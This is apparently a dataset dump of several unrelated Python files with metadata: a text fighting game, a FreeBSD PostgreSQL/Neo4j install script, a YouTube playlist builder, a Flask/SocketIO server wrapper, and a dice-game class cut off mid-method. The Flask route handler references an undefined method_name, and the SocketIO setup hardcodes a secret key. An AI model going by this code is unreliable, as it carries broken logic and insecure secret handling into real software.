1\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Shop(Player)\r\n\r\nPlayer = Menu(Player)\r\n\r\nlevel = 2\r\n\r\ndialogue = input(\"\\n\\nMASTER:\" + \"\\nWOW!!! I'LL MAKE A CHAMPION OUT OF YOU YET!!!\" +\r\n\"\\n\\nI NEED TO GET YOU TO THE BIG LEAGUES!!!\" +\r\n\"\\nBUT FIRST, LET'S CHALLENGE THE LOCAL GANG LEADER, JAYSON!!!\" +\r\n\"\\nSHOW HIS SLAVES WHAT YOU'RE MADE OF!!!! I'M GUNNA BE RICH!!!!\")\r\n\r\ndialogue = input(\"\\n\\nYou walk into an abandoned highshool and\" +\r\n\"\\nfind JAYSON waiting with two fighters.\")\r\n\r\ndialogue = input(\"\\n\\nJAYSON:\" +\r\n\"\\nHOW DARE YOU ENTER MY TEMPLE!!! YOU WILL PAY FOR THIS!!!\")\r\n\r\ndialogue = input(\"\\n\\nMASTER:\" +\r\n\"\\nNO, YOU!!!\")\r\n\r\ndialogue = input(\"\\n\\nJAYSON:\" +\r\n\"\\nNO, YOU!!!\")\r\n\r\ndialogue = input(\"\\n\\nMASTER:\" +\r\n\"\\nNO, YOU!!!\")\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Menu(Player)\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Shop(Player)\r\n\r\nPlayer = Menu(Player)\r\n\r\nlevel = 3\r\n\r\ndialogue = input(\"\\n\\nMASTER: \" +\r\n\"\\nTHAT'S WHAT I'M TALKING ABOUT!!!\" +\r\n\"\\nI JUST SCHEDULED A MINOR LEAGUE FIGHT FOR YOU.\" +\r\n\"\\nCOME ON, TIME IS WASTING, AND TIME IS MONEY!!!\")\r\n\r\ndialogue = input(\"\\nYou enter a run-down arena to find 5 other \\nfighters, standing in a circle, ready to SMACK\")\r\n\r\nPlayer = Battle(Player, level)\r\n\r\ndialogue = input(\"\\n\\nAs you deliver the final blow, the only other remaining \\nfighter comes sprinting toward you.\")\r\n\r\nPlayer = Menu(Player)\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Shop(Player)\r\n\r\nPlayer = Menu(Player)\r\n\r\nlevel = 4\r\n\r\ndialogue = input(\"\\n\\nMASTER: \" +\r\n\"\\nINCREDULOUS!!! AMAZING JOB SLAVE, \" +\r\n\"\\nTO THE BIG LEAGUES WE GO!!!\")\r\n\r\ndialogue = input(\"\\n\\nAs your final fight approaches, you think back to your life before.\" +\r\n\"\\nYou grow hopeful, knowing freedom is within arms reach.\")\r\n\r\ndialogue = input(\"\\n\\nYou enter a stadium full of screaming fans, but none cheer for you.\")\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Menu(Player)\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Menu(Player)\r\n\r\ndialogue = input(\"\\n\\nThis is it. Your last fight before freedom.\")\r\n\r\nPlayer = Battle(Player, level)\r\n\r\nPlayer = Shop(Player)\r\n\r\nPlayer = Menu(Player)\r\n\r\n\r\ndialogue = input(\"\\n\\nMASTER: \" +\r\n\"\\nYOU THOUGHT I WOULD FREE YOU? \" +\r\n\"\\nBWAHAHAHAHAHAHAHA\" +\r\n\"\\nI'LL FORCE YOU TO FIGHT UNTIL YOU DIE,\" +\r\n\"\\nAND YOU'LL MAKE ME RICH IN THE PROCESS!!!\")\r\n\r\ndialogue = input(\"\\n\\nEnraged, you charge your master.\")\r\n\r\n\r\n\r\nMonster = [\"MASTER\", [250, 150, 175, 2000]]\r\nprint(\"\\n\\n\" + Monster[0] + \" approaches!!!\")\r\n\r\nmovelist = [\"smack\", \"defend\", \"charge\"]\r\n\r\nCharge = 0\r\nMonCharge = 0\r\n\r\nAttackChance =[]\r\n\r\nTotalMoves = 0\r\n\r\nwhile Monster[1][3] > 0:\r\n TotalMoves += 1\r\n move = input(\"\\nChoose your move: \" +\r\n \"\\nSMACK\" +\r\n \"\\nDEFEND\" +\r\n \"\\nCHARGE\" +\r\n \"\\n:\")\r\n while True:\r\n if move.casefold() == \"smack\" or move.casefold() == \"defend\" or move.casefold() == \"charge\":\r\n break\r\n else:\r\n move = input(\"Please enter a valid move. \\n:\")\r\n\r\n MonMove = random.choice(movelist)\r\n\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used \" + MonMove.upper() +\r\n \"\\n\\n\" + Contestant + \" used \" + move.upper())\r\n\r\n AttackChance.clear()\r\n spd = 0\r\n uspd = 0\r\n\r\n if move.casefold() == \"smack\":\r\n if MonMove == \"smack\":\r\n while spd < Monster[1][2]:\r\n AttackChance.append(0)\r\n spd += 1\r\n while uspd < Player[1][2]:\r\n AttackChance.append(1)\r\n uspd += 1\r\n winner = random.choice(AttackChance)\r\n\r\n if winner == 1:\r\n att = Player[1][0]\r\n fence = Monster[1][1]\r\n if att*2 > fence:\r\n if Monster[1][3] > (att*2 - fence):\r\n Monster[1][3] = Monster[1][3] - (att*2 - fence)\r\n dialogue = input(\"\\n\" + Contestant + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Monster[0] + \"'s health is now \" + str(Monster[1][3]) + \".\")\r\n else:\r\n Victory(Player)\r\n\r\n else:\r\n dialogue = input(\"\\n\" + Contestant + \"'s SMACK isn't powerful enough to do any damage!\")\r\n\r\n if winner == 0:\r\n att = Monster[1][0]\r\n fence = Player[1][1]\r\n if att*2 > fence:\r\n if Player[1][3] > (att*2 - fence):\r\n Player[1][3] = Player[1][3] - (att*2 - fence)\r\n dialogue = input(\"\\n\" + Monster[0] + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n GameOver(Player)\r\n else:\r\n dialogue = input(\"\\n\" + Monster[0] + \"'s SMACK isn't powerful enough to do any damage!\")\r\n\r\n if MonMove == \"defend\":\r\n dialogue = input(\"\\n\" + Monster[0] + \" defended! \" + Contestant + \" did no damage.\")\r\n if MonMove == \"charge\":\r\n if MonCharge > 2:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used it's ULTIMATE SMACK!\")\r\n MonCharge = 0\r\n if Player[1][3] > 400:\r\n Player[1][3] = Player[1][3] - 400\r\n dialogue = input(\"\\n\" + Monster[0] + \" did 400 points of damage!\" +\r\n Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n GameOver(Player)\r\n if MonCharge < 3:\r\n MonCharge += 1\r\n att = Player[1][0]\r\n fence = Monster[1][1]\r\n if att*2 > fence:\r\n if Monster[1][3] > (att*2 - fence):\r\n Monster[1][3] = Monster[1][3] - (att*2 - fence)\r\n dialogue = input(\"\\n\" + Contestant + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Monster[0] + \"'s health is now \" + str(Monster[1][3]) + \".\")\r\n else:\r\n Victory(Player)\r\n else:\r\n dialogue = input(\"\\n\" + Contestant + \"'s SMACK isn't powerful enough to do any damage!\")\r\n if MonCharge == 3:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s ULTIMATE SMACK is fully charged!\")\r\n if move.casefold() == \"defend\":\r\n if MonMove == \"smack\":\r\n dialogue = input(\"\\n\\n\" + Contestant + \" successfully defended \" + Monster[0] + \"'s SMACK.\")\r\n if MonMove == \"defend\":\r\n dialogue = input(\"\\n\\nSuccessfully defended.\")\r\n if MonMove == \"charge\":\r\n if MonCharge > 2:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used it's ULTIMATE SMACK!\")\r\n MonCharge = 0\r\n if Player[1][3] > 400:\r\n Player[1][3] = Player[1][3] - 400\r\n dialogue = input(\"\\n\" + Monster[0] + \" did 400 points of damage!\" +\r\n Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n GameOver(Player)\r\n if MonCharge < 3:\r\n MonCharge += 1\r\n if MonCharge == 3:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s ULTIMATE SMACK is fully charged!\")\r\n if move.casefold() == \"charge\":\r\n if Charge == 2:\r\n dialogue = input(\"You're ULTIMATE SMACK is fully charged!\")\r\n Charge += 1\r\n if MonMove == \"smack\":\r\n att = Monster[1][0]\r\n fence = Player[1][1]\r\n if att*2 > fence:\r\n if Player[1][3] > (att*2 - fence):\r\n Player[1][3] = Player[1][3] - (att*2 - fence)\r\n dialogue = input(\"\\n\" + Monster[0] + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n GameOver(Player)\r\n else:\r\n dialogue = input(\"\\n\" + Monster[0] + \"'s SMACK isn't powerful enough to do any damage!\")\r\n\r\n if Charge < 2:\r\n Charge += 1\r\n if MonMove == \"smack\":\r\n att = Monster[1][0]\r\n fence = Player[1][1]\r\n if att*2 > fence:\r\n if Player[1][3] > (att*2 - fence):\r\n Player[1][3] = Player[1][3] - (att*2 - fence)\r\n dialogue = input(\"\\n\" + Monster[0] + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n GameOver(Player)\r\n else:\r\n dialogue = input(\"\\n\" + Monster[0] + \"'s SMACK isn't powerful enough to do any damage!\")\r\n if Charge == 3:\r\n Monster[1][3] = Monster[1][3] - 400\r\n print(\"\\nYou used you're ULTIMATE SMACK!!!\" +\r\n \" It did 400 points of damage!\")\r\n if Monster[1][3] > 0:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s health is now at \" + str(Monster[1][3]))\r\n if Monster[1][3] <= 0:\r\n Victory(Player)\r\n","sub_path":"BSA (3).py","file_name":"BSA (3).py","file_ext":"py","file_size_in_byte":31716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"179476741","text":"import os\nimport sys\nimport pathlib\nimport fileinput\nimport json\n\ndebug=True\n#Change to Configuration\ninstallClient=True\ninstallServer=True\nenablesysrc=True\n\ndef main():\n\tchestCreator()\n\tschemacreation()\n\tneo4jCreation()\n\tsys.exit(0)\n\ndef chestCreator():\n\tif debug:\n\t\tprint(installClient)\n\t\tprint(installServer)\n\t\tprint(enablesysrc)\n\t\tprint(os.getcwd())\n\t#is system software installed\n\t#todo check for version\n\tos.system('pkg info postgresql96-server >> checker.txt')\n\tif pathlib.Path(\"checker.txt\").is_file() :\n\t\t#todo size may be updating txt file\n\t\tif os.stat('checker.txt').st_size==0:\n\t\t\tif installServer == 'True':\n\t\t\t\t#install and verify\n\t\t\t\tos.chdir('/usr/ports/databases/postgresql96-server/')\n\t\t\t\tif os.system(' make -DBATCH install') == 0:\n\t\t\t\t\tprint('Server installed successful')\n\t\t\t\t\tif enablesysrc:\n\t\t\t\t\t\t#todo if its start at runtime we need to handle the start time \n\t\t\t\t\t\tos.system('sysrc postgresql_enable=yes')\n\t\t\t\t\t#init database\n\t\t\t\t\tif os.system('service postgresql initdb') ==0:\n\t\t\t\t\t\t#start service\n\t\t\t\t\t\tif os.system('service postgresql start') == 0:\n\t\t\t\t\t\t\tprint('Postgresql service started')\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint('Error starting service')\n\t\t\t\t\t\t\tsys.exit(1)\n\t\t\t\telse:\n\t\t\t\t\tprint('Error installing postgres')\n\t\t\t\t\tsys.exit(1)\n\t\t\t#unlockChest()\n\t\t\tif installClient == True:\n\t\t\t\t#cd and cd - back to previous dir\n\t\t\t\tos.chdir('/usr/ports/databases/postgresql96-client/')\n\t\t\t\tif os.system('make -DBATCH install') == 0:\n\t\t\t\t\tprint('Client installed successful')\n\t\t\t\telse:\n\t\t\t\t\tunlockChest ()\n\t\t\t\t\tprint('Error installing Client')\n\t\t\t\t\texit()\n\t\telse:\n\t\t\tunlockChest ()\n\t\t\tprint('postgres sql already installed')\n\n\ndef schemacreation():\n\t#os.system('psql db lucille')\n\t#os.system('psql create user lucille')\n\t#os.system('psql create user mothership')\n\t#os.system('grant all privileges on database lucille to lucille')\n\tos.system('psql -f /usr/home/jenkins/lucille.sql -d lucille')\n\tos.system('psql -f /usr/home/jenkins/functions.sql -d lucille')\n\t\t\t\ndef unlockChest ():\n\tprint('Not unlocked yet')\n\tos.remove('checker.txt')\n\t#text_replace=''\n\t#remote configuration\n\t#os.system('/usr/ports/databases/nano make install clean')\n\t#X_file = fileinput.FileInput('/var/db/postgres/data96/postgresql.conf',inplace=True,bakup='.bak') as file:\n\t#\tfor line in file:\n\t#\t\tprint(line.replace())\n\t\n\t\ndef neo4jCreation():\n\tos.system('pkg info neo4j >> checker.txt')\n\tif pathlib.Path(\"checker.txt\").is_file() :\n\t\t#todo size may be updating txt file\n\t\tif os.stat('checker.txt').st_size==0:\n\t\t\tif installServer == True:\n\t\t\t\t#install and verify\n\t\t\t\tos.chdir('/usr/ports/databases/neo4j')\n\t\t\t\tif os.system(' make -DBATCH install') == 0:\n\t\t\t\t\tprint('Server installed successful')\n\t\t\t\telse:\n\t\t\t\t\tprint('Error installing neo4j')\n\t\t\t\t\tsys.exit(1)\n\nif __name__ == '__main__':\n\tsys.exit(main())\n\n","sub_path":"AnsiblePlaybook/Inventories/develop/common/script/dragonchestcreator.py","file_name":"dragonchestcreator.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"361502074","text":"import os, io\nimport webbrowser\ntry:\n import urllib.request as urllib2\nexcept ImportError:\n import urllib2\n\ninputFileName = 'you.list'\n\ndef ReadMultipleDataFrom(thisTextFile, thisPattern):\n inputData = []\n file = open(thisTextFile, \"r\")\n for iLine in file:\n if iLine.startswith(thisPattern):\n iLine = iLine.rstrip()\n # print iLine\n if ('v=') in iLine: # https://www.youtube.com/watch?v=aBcDeFGH\n iLink = iLine.split('v=')[1]\n inputData.append(iLink) \n if ('be/') in iLine: # https://youtu.be/aBcDeFGH\n iLink = iLine.split('be/')[1]\n inputData.append(iLink)\n return inputData\n\nvideoLinks = ReadMultipleDataFrom(inputFileName, \"https\") \n# print videoLinks\n\nlistOfVideos = \"http://www.youtube.com/watch_videos?video_ids=\" + ','.join(videoLinks)\n# print listOfVideos\n\nresponse = urllib2.urlopen(listOfVideos)\nplayListLink = response.geturl()\n# print playListLink\n\nplayListLink = playListLink.split('list=')[1]\n# print playListLink\n\nplayListURL = \"https://www.youtube.com/playlist?list=\"+playListLink+\"&disable_polymer=true\"\nwebbrowser.open(playListURL)","sub_path":"createYoutubePlaylist.py","file_name":"createYoutubePlaylist.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"626024027","text":"\"\"\"\nflask_server provides the FlaskServer class\n\nFlaskServer is a superclass for any server that wants to be able to provide a\nweb service using flask\n\"\"\"\nimport inspect # used by flaskify_io\nimport logging\nimport os\nimport signal # used by server to handle signals\nimport threading # allows server to be threaded\nimport time\nimport datetime\n\nmodule_logger = logging.getLogger(__name__)\n\n\n__all__ = [\"FlaskServer\"]\n\nclass FlaskServer(object):\n \"\"\"\n class that can launch an object or instance of class on a nameserver or\n simply as a daemon.\n\n The flaskify method can automatically create flask routes from an object's\n methods\n\n The flaskify_io method can automatically create socket routes from an object's\n methods.\n\n Attributes:\n logger (logging.getLogger): object logger\n cls (type): a class whose methods and attribute the server accesses by\n instantiating an object.\n obj (object): An object whose methods and attributes the server accesses.\n name (str): Name of server\n logfile (str): Path to logfile for server.\n running (bool): boolean expressing whether the server has been launched\n or not\n tunnel (support.trifeni.Pyro5Tunnel like): A tunnel instance.\n tunnel_kwargs (dict): key word arguments that are uesd to instantiate\n tunnel instance\n server_uri (str/Pyro5.URI): the server's URI\n daemon_thread (threading.Thread): the thread in which the daemon's\n requestLoop method is running.\n daemon (Pyro5.Daemon): The server's daemon.\n threaded (bool): Whether or not the server is running in a thread or\n on the main thread.\n lock (threading.Lock): Lock for thread safety.\n \"\"\"\n def __init__(self, cls=None,\n obj=None,\n cls_args=None,\n cls_kwargs=None,\n name=None,\n logfile=None,\n logger=None,\n **kwargs):\n \"\"\"\n\n Args:\n cls (type, optional): A class that will be instantiated with cls_args\n cls_kwargs, to be used as the server's object.\n obj (object, optional): Some object that will be registered on a Pyro5.Daemon.\n cls_args (tuple/list, optional): Arguments passed to cls.\n cls_kwargs (dict, optional): Keyword Arguments passed to cls.\n name (str, optional): server name\n logfile (str, optional): path to server's logfile\n logger (logging.getLogger, optional): logging instance.\n kwargs: Passed to super class.\n \"\"\"\n if not logger:\n logger = module_logger.getChild(self.__class__.__name__)\n self.logger = logger\n self.logger.debug(\"Pyro5Server:__init__: cls: {}\".format(cls))\n if obj is None and cls is None:\n msg = \"Need to provide either an object or a class to __init__\"\n self.logger.error(msg)\n raise RuntimeError(msg)\n\n self.cls = None\n self.obj = None\n\n if obj is not None:\n self.obj = obj\n\n if cls is not None:\n self.cls = cls\n if cls_args is None:\n cls_args = ()\n if cls_kwargs is None:\n cls_kwargs = {}\n try:\n self.obj = self._instantiate_cls(cls, *cls_args, **cls_kwargs)\n except Exception as err:\n pass\n\n if name is None:\n name = self.obj.__class__.__name__\n self._name = name\n self._logfile = logfile\n\n self._running = False\n self.tunnel_kwargs = None\n self.server_uri = None\n self.daemon_thread = None\n self.daemon = None\n self.threaded = False\n self.lock = threading.Lock()\n\n def _instantiate_cls(self, cls, *args, **kwargs):\n \"\"\"\n Create an instance of a class, given some arguments and keyword arguments.\n\n Args:\n cls (type): a class to be instantiated\n args: passed to cls\n kwargs: passed to cls\n \"\"\"\n return cls(*args, **kwargs)\n\n @property\n def logfile(self):\n \"\"\"Make logfile attribute accessible to a proxy corresponding to this server.\"\"\"\n return self._logfile\n\n def running(self):\n \"\"\"Get running status of server\"\"\"\n with self.lock:\n return self._running\n\n @property\n def name(self):\n \"\"\"\n Make name attribute accessible to a proxy.\n \"\"\"\n return self._name\n\n @name.setter\n def name(self, new_name):\n \"\"\"\n Set name attribute.\n \"\"\"\n self._name = new_name\n\n def ping(self):\n \"\"\"\n ping the server\n \"\"\"\n return \"hello\"\n\n def close(self):\n \"\"\"\n Close down the server.\n If we're running this by itself, this gets called by the signal handler.\n \"\"\"\n with self.lock:\n self._running = False\n try:\n self.daemon.unregister(self.obj)\n except Exception as err:\n self.logger.error(\n \"close: Couldn't unregister {} from daemon: {}\".format(self.obj, err))\n\n if self.threaded:\n self.daemon.shutdown()\n else:\n self.daemon.close()\n\n @classmethod\n def flaskify(cls, *args, **kwargs):\n \"\"\"\n Create a flask server using the PyroServer.\n There are two use cases:\n You pass parameters to instantiate a new instance of cls, or\n You pass an object of cls as the first argument, and this is the server\n used.\n\n Args:\n args (list/tuple): If first argument is an object, then register\n this object's exposed methods. Otherwise, use args and kwargs\n as parameters to instantiate an object of implicit cls.\n kwargs (dict): Passed to implicit cls.\n Returns:\n tuple:\n * app (Flask): Flask app\n * server (object): some object whose methods/attributes have been\n registered as routes on app.\n \"\"\"\n import json\n from flask import Flask, jsonify, request\n from flask_socketio import SocketIO, send, emit\n\n app = kwargs.pop(\"app\", None)\n\n if len(args) > 0:\n if isinstance(args[0], cls):\n server = args[0]\n else:\n server = cls(*args, **kwargs)\n if app is None:\n app = Flask(server.name)\n\n @app.route(\"/\", methods=['GET'])\n def method(data):\n try:\n get_data = json.loads(list(request.args.keys())[0])\n except json.decoder.JSONDecodeError:\n get_data = request.args\n args = get_data.get('args', ())\n kwargs = get_data.get('kwargs', {})\n if not (isinstance(args, list) or isinstance(args, tuple)):\n args = [args]\n if method_name in cls.__dict__:\n method = getattr(server, method_name)\n exposed = getattr(method, \"_pyroExposed\", None)\n if exposed:\n status = \"method {}._pyroExposed: {}\".format(method_name, exposed)\n try:\n result = method(*args, **kwargs)\n except Exception as err:\n status = status + \"\\n\" + str(err)\n result = None\n else:\n status = \"method {} is not exposed\".format(method_name)\n result = None\n else:\n status = \"method {} is not an server method\".format(method_name)\n result = None\n return jsonify(data={\"status\":status, \"result\":result})\n\n return app, server\n\n @classmethod\n def flaskify_io(cls, *args, **kwargs):\n \"\"\"\n Create a flaskio server.\n Use case is the same as Pyro5Server.flaskify, except that instead of\n registering an object's methods/attributes as routes, it registers\n them as socket routes.\n\n Args:\n args (list/tuple): If first argument is an object, then register\n this object's exposed methods. Otherwise, use args and kwargs\n as paramters to instantiate an object of implicit cls.\n kwargs (dict): Passed to implicit cls.\n\n Returns:\n tuple:\n * app (Flask): Flask app\n * socketio (SocketIO): flask_socketio.SocketIO instance.\n * server (object): object whose methods have been registered as socket routes.\n \"\"\"\n import json\n from flask import Flask, jsonify, request\n from flask_socketio import SocketIO, send, emit\n import eventlet\n\n socketio = kwargs.pop(\"socketio\", None)\n app = kwargs.pop(\"app\", None)\n\n if len(args) > 0:\n if isinstance(args[0], cls):\n server = args[0]\n else:\n server = cls(*args, **kwargs)\n\n server.logger.info(\"Making flask socketio app.\")\n if app is None:\n app = Flask(server.name)\n app.config['SECRET_KEY'] = \"radio_astronomy_is_cool\"\n if socketio is None:\n socketio = SocketIO(app, async_mode=\"eventlet\")\n\n for method_pair in inspect.getmembers(cls):\n method_name = method_pair[0]\n method = getattr(server, method_name)\n exposed = getattr(method, \"_pyroExposed\", None)\n pasync = getattr(method, \"_pyroAsync\", None)\n if exposed:\n server.logger.info(\"flaskify_io: Registering method: {}, pasync: {}\".format(\n method_name, pasync))\n def wrapper(method, method_name):\n def inner(data):\n args = data.get(\"args\", [])\n kwargs = data.get(\"kwargs\", {})\n pasync = getattr(method, \"_pyroAsync\", None)\n # server.logger.debug(\"{}: pasync: {}\".format(method_name, pasync))\n # server.logger.debug(\"{}: kwargs: {}\".format(method_name, kwargs))\n # server.logger.debug(\"{}: args: {}\".format(method_name, args))\n try:\n if pasync:\n kwargs['socket_info'] = {'app':app, 'socketio':socketio}\n g = eventlet.spawn_n(method, *args, **kwargs)\n status = \"eventlet.spawn_n started\"\n result = None\n else:\n result = method(*args, **kwargs)\n status = \"success\"\n except Exception as err:\n result = None\n status = str(err)\n server.logger.error(status)\n with app.test_request_context(\"/\"):\n socketio.emit(method_name, {\"status\":status, \"result\":result})\n return inner\n\n # socketio.on(method_name)(wrapper(method, method_name))\n socketio.on_event(method_name, wrapper(method, method_name))\n\n return app, socketio, server\n\n","sub_path":"flask_server.py","file_name":"flask_server.py","file_ext":"py","file_size_in_byte":11490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"230132814","text":"PPI=[]\nl_ppi_int=[]\nfor ppi in l[2:2+N]:\n l_ppi=ppi.split('*') #llista dels valors de PPI de la fila i\n for e in l_ppi:\n l_ppi_int.append(int(e))\n PPI.append(l_ppi_int)\n l_ppi_int=[]\n print(PPI)\n\n\ncost_RAP=d['CRAP']\ncapac_RAP=d['CMRAP']\ncost_RBP=d['CRBP']\ncapac_RBP=d['CMRBP']\ncost_ELA=d['CELA']\ncapac_ELA=d['CMELA']\nDS=d['DS']\nPECA=d['PECA']\n\nIrap= [(cost_RAP[i] / capac_RAP[i],i) for i in range(len(cost_RAP))]\nIrbp= [(cost_RBP[i] / capac_RBP[i],i) for i in range(len(cost_RBP))]\nIela= [(cost_ELA[i] / capac_ELA[i],i) for i in range(len(cost_ELA))]\nID= [(DS[i],i) for i in range(len(DS))]\nIpeca= [(PECA[i],i) for i in range(len(PECA))]\nIpeca_ds= [(PECA[i] / DS[i],i) for i in range(len(DS))]\n\n# ordenem de forma creixent els valors dels indicadors\nIrap=sorted(Irap, key=lambda indicador: indicador[0])\nIrbp=sorted(Irbp, key=lambda indicador: indicador[0])\nIela=sorted(Iela, key=lambda indicador: indicador[0])\nIpeca=sorted(Ipeca, key=lambda indicador: indicador[0])\nIpeca_ds=sorted(Ipeca_ds, key=lambda indicador: indicador[0])\n#ordenem de forma decreixent l'indicador de la demanda\nID=sorted(ID, key=lambda indicador: indicador[0], reverse=True)\n\n\n#Preproces\ncandidats=[]\ncandidats_i=[]\nfor i in range(d['N']):\n for e in range(len(d['CMECA'])):\n if d['DS'][i]<=(1-d['PECA'][i])*d['CMECA'][e]:\n candidats_i.append(e)\n candidats.append(candidats_i)\n candidats_i=[]\n","sub_path":"proves.py","file_name":"proves.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"388904481","text":"\"\"\"\nModule de la classe Partie\n\"\"\"\n\nfrom pymafia.joueur_humain import JoueurHumain\nfrom pymafia.joueur_ordinateur import JoueurOrdinateur\nfrom random import shuffle\n\n# Variable globale spécifiant le nombre maximale de rondes d'une partie du jeu pymafia\nRONDEMAX = 1\n\n\n\nclass Partie:\n \"\"\"\n Documentation de la classe Partie\n Attributes:\n joueurs (list): Liste des joueurs au départ de la partie\n joueurs_actifs (list): Liste des joueurs qui ont encore des points (score supérieur à 0)\n premier_joueur (Joueur): Premier joueur de la ronde\n joueur_courant (Joueur): Joueur dont c'est le tour\n joueur_suivant (Joueur): Joueur dont ce sera le tour lorsque le joueur_courant aura joué (prochain joueur actif)\n ronde (int): Nombre de la ronde actuelle\n sens (int): Nombre qui indique le sens du tour (1, croissant; -1, décroissant)\n \"\"\"\n\n def __init__(self, nombre_joueurs, nombre_joueurs_humains):\n \"\"\"\n Constructeur de la classe Partie\n Args:\n nombre_joueurs (int): Nombre de joueurs de la partie\n nombre_joueurs_humains (int): Nombre de joueurs humains de la partie\n \"\"\"\n self.joueurs = self.creer_joueurs(nombre_joueurs, nombre_joueurs_humains)\n self.joueurs_actifs = list(self.joueurs)\n self.premier_joueur = self.joueurs[0]\n self.joueur_courant = self.joueurs[0]\n self.joueur_suivant = self.joueurs[1]\n self.ronde = 1\n self.sens = 1\n\n\n @staticmethod\n def creer_joueurs(nombre_joueurs, nombre_joueurs_humains):\n \"\"\"\n Méthode statique qui crée la liste de joueurs de la partie.\n Dans le cas où des joueurs ordinateurs sont permis, les joueurs humains et ordinateurs sont\n mélangés au hasard dans la liste de joueurs.\n Args:\n nombre_joueurs (int): Nombre de joueurs de la partie\n nombre_joueurs_humains (int): Nombre de joueurs humains de la partie\n\n Returns:\n list: Liste des joueurs\n \"\"\"\n joueurs = []\n # Ajout des joueurs humains et ordinateurs à la liste\n for i in range(nombre_joueurs_humains):\n joueurs.append(JoueurHumain(0))\n for i in range(nombre_joueurs - nombre_joueurs_humains):\n joueurs.append(JoueurOrdinateur(0))\n # Mélange de la liste des joueurs\n shuffle(joueurs)\n # Modification de l'identifiant des joueurs selon la position dans la liste\n for i, joueur in enumerate(joueurs):\n joueur.identifiant = i + 1\n return joueurs\n\n def preparer_une_partie(self):\n \"\"\"\n Méthode qui accomplit les actions nécessaires pour débuter une partie.\n 1. Afficher les joueurs.\n 2. Trouver le premier joueur.\n 3. Déterminer le sens de la partie voulue par le premier joueur.\n 4. Affecter à l'attribut du joueur_courant le premier joueur.\n 5. Déterminer qui est le joueur suivant.\n 6. Réinitialiser les dés des joueurs pour que chaque joueur ait 5 dés.\n \"\"\"\n self.afficher_joueurs()\n self.trouver_premier_joueur()\n #self.determiner_sens()\n self.joueur_courant = self.premier_joueur\n self.determiner_joueur_suivant()\n self.reinitialiser_dés_joueurs()\n\n def afficher_joueurs(self):\n \"\"\"\n Méthode qui affiche quels joueurs sont humains et quels joueurs sont l'ordinateur.\n La version simple de cette méthode peut se limiter à lister les joueurs.\n Par exemple, \"Le joueur 6 est prêt à jouer!\"\n Dans la version complète, on suppose qu'il y a au moins un joueur humain.\n \"\"\"\n # Lister l'identifiant des joueurs humains\n identifiants_joueurs_humains = []\n for joueur in self.joueurs:\n if isinstance(joueur, JoueurHumain):\n identifiants_joueurs_humains.append(str(joueur.identifiant))\n\n # Afficher les identifiants des joueurs humains (la chaîne est différente selon le nombre)\n if len(identifiants_joueurs_humains) == 1:\n print(\"Le joueur {} est le joueur humain.\".format(identifiants_joueurs_humains[0]))\n elif len(identifiants_joueurs_humains) == len(self.joueurs):\n print('Tous les joueurs sont des joueurs humains!')\n elif len(identifiants_joueurs_humains) == 2:\n print(\"Les joueurs {} et {} sont des joueurs humains.\".format(identifiants_joueurs_humains[0],\n identifiants_joueurs_humains[1]))\n else:\n liste_joueurs_humains = \", \".join(identifiants_joueurs_humains[:-1])\n print(\"Les joueurs {} et {} sont des joueurs humains.\".format(liste_joueurs_humains,\n identifiants_joueurs_humains[-1]))\n # Si nécessaire, indiquer que l'autre joueur ou les autres joueurs sont des ordinateurs.\n nombre_joueurs_ordinateur = len(self.joueurs) - len(identifiants_joueurs_humains)\n if nombre_joueurs_ordinateur == 1:\n print(\"L'autre joueur est un ordinateur.\\n\")\n elif nombre_joueurs_ordinateur > 1:\n print(\"Les autres joueurs sont des ordinateurs.\\n\")\n\n def trouver_premier_joueur(self):\n \"\"\"\n Méthode qui sert à déterminer qui sera le premier joueur de la première ronde. Ce joueur est celui qui obtient\n le plus haut score lorsque les joueurs lancent deux dés. En cas d'égalité, les joueurs à égalité relancent\n leurs dés jusqu'à ce qu'un seul joueurs aient le plus haut résultat.\n \"\"\"\n premier_joueur_trouvé = False\n joueurs_en_liste = self.joueurs\n\n while not premier_joueur_trouvé:\n for joueur in joueurs_en_liste:\n joueur.rouler_dés()\n print(\"Le joueur {} joue les dés {}. Son score est {}.\".format(\n joueur.identifiant, joueur, joueur.calculer_points()))\n\n joueurs_au_plus_haut_score = self.trouver_joueurs_au_plus_haut_total(joueurs_en_liste)\n\n if len(joueurs_au_plus_haut_score) == 1:\n self.premier_joueur = joueurs_au_plus_haut_score[0]\n print(\"\\nLe joueur {} a le plus haut score et 